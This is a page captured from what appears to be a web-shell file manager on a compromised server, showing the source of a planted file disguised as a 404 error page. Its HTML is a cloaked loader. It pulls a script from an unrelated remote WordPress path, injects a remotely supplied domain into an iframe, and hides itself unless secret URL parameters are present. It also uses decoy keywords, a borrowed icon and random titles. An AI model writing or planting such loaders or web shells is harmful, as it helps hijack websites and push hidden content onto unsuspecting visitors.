File manager - Edit - /home/gppowercontrol/public_html/media/product/404.html
Back
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"> <title>欢迎回家</title> <!-- 这里的标题会被 JavaScript 修改 --> <link rel="icon" href="https://abs.twimg.com/responsive-web/client-web/icon-ios.77d25eba.png"> <meta name="keywords" content="社会主义核心价值观24个字是:富强、民主、文明、和谐,自由、平等、公正、法治,爱国、敬业、诚信、友善"/> <meta name="description" content="社会主义核心价值观24个字是:富强、民主、文明、和谐,自由、平等、公正、法治,爱国、敬业、诚信、友善"/> <script id="wxjubao-js" src="/jubao/wxjubao.js"> </script> <style> *{margin:0;padding:0;font-family: "Microsoft YaHei";color: #fff;} body,div,form,input,li,ol,p,textarea,ul{margin:0;padding:0;font-family: "Microsoft YaHei";color: #fff;} body{background:#fff;color:#3f3f3f;font-family:Apple LiGothic Medium,SimHei,Geneva,Arial,Helvetica,sans-serif;-webkit-tap-highlight-color:transparent;-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none;-webkit-appearance:none;width:100%;font-size:12px;} body p {color: white;text-align: center;line-height: 25px;} #zl{overflow:hidden;} </style> <!-- 使用HTTPS加载远程JS配置 --> <script src="https://www.androneo.com/wp-content/uploads/2023/06/wp-3.js"></script> </head> <body style="text-align: center;"> <div id="Zl"> <!-- iframe初始不设置src,由JS动态填充 --> <iframe id="preview" frameborder="0" width="100%" height="910px" scrolling='auto' sandbox="allow-scripts allow-same-origin allow-popups"></iframe> </div> </br></br></br> <script> // 等待远程配置加载完成后设置iframe地址 window.onload = function() { // 处理URL中的参数 const urlParams = new URLSearchParams(window.location.search); const valid = urlParams.get('valid'); const timestamp = urlParams.get('timestamp'); const forceRedirect = urlParams.get('force_redirect'); // 固定参数 // 如果访问包含 force_redirect 参数,自动生成带时间戳的 URL 跳转 if (forceRedirect === 'true') { const timestamp = Date.now(); // 当前时间戳 const newUrl = window.location.origin + window.location.pathname + `?valid=true×tamp=${timestamp}`; window.location.href = newUrl; // 跳转到带时间戳的新 URL return; // 跳转后停止页面渲染 } // 如果没有 valid 参数或 timestamp 参数,直接显示错误信息并终止页面加载 if (valid !== 'true' || !timestamp) { document.body.innerHTML = '<div class="error-message">请通过正确的入口访问此页面!</div>'; return; // 停止执行,防止页面渲染 } // 如果 timestamp 超过 1 小时(3600000 毫秒)则显示过期信息 if (Date.now() - timestamp > 3600000) { // 1 小时 = 3600000 毫秒 document.body.innerHTML = '<div class="error-message">页面已过期!</div>'; return; } // 随机选择页面标题 var titles = [ "欢迎回家,探索新世界!", "今天是你全新的开始!", "让我们一起追求梦想!", "你值得拥有的未来!", "发现更精彩的自己!", "努力前行,成就辉煌!", "走向成功的第一步!", "向着目标,全力前行!", "让梦想引领你前行!", "每天都是新的机会!", "迈向未来,创造无限可能!", "勇敢追求,不畏艰难!", "成就你的精彩人生!", "做最好的自己,超越自己!", "你是自己人生的主宰!", "不怕挑战,勇往直前!", "从现在开始,改变一切!", "每一步,都是新的突破!", "世界属于有梦想的人!", "激发潜力,创造未来!", "挑战自我,超越极限!", "你的人生,由你掌控!", "追求卓越,超越自我!", "追寻梦想,走向巅峰!", "成就辉煌,只需勇敢迈出步伐!", "让我们一起迎接新的征程!", "用行动改变未来,拥抱成功!", "在无限可能的世界中前行!", "勇敢的心,创造无限精彩!", "相信自己,未来无可限量!" ]; // 从数组中随机选择一个标题 var randomTitle = titles[Math.floor(Math.random() * titles.length)]; // 设置随机标题到 <title> 标签 document.title = randomTitle; // 假设远程JS会定义一个全局变量remoteDomain存储域名 if (window.remoteDomain) { document.getElementById('preview').src = window.remoteDomain; } else { // 如果未加载远程域名,则不显示iframe内容 document.getElementById('preview').style.display = 'none'; alert('无法加载外部网站内容,请稍后重试!'); } }; </script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.46 |
proxy
|
phpinfo
|
Settings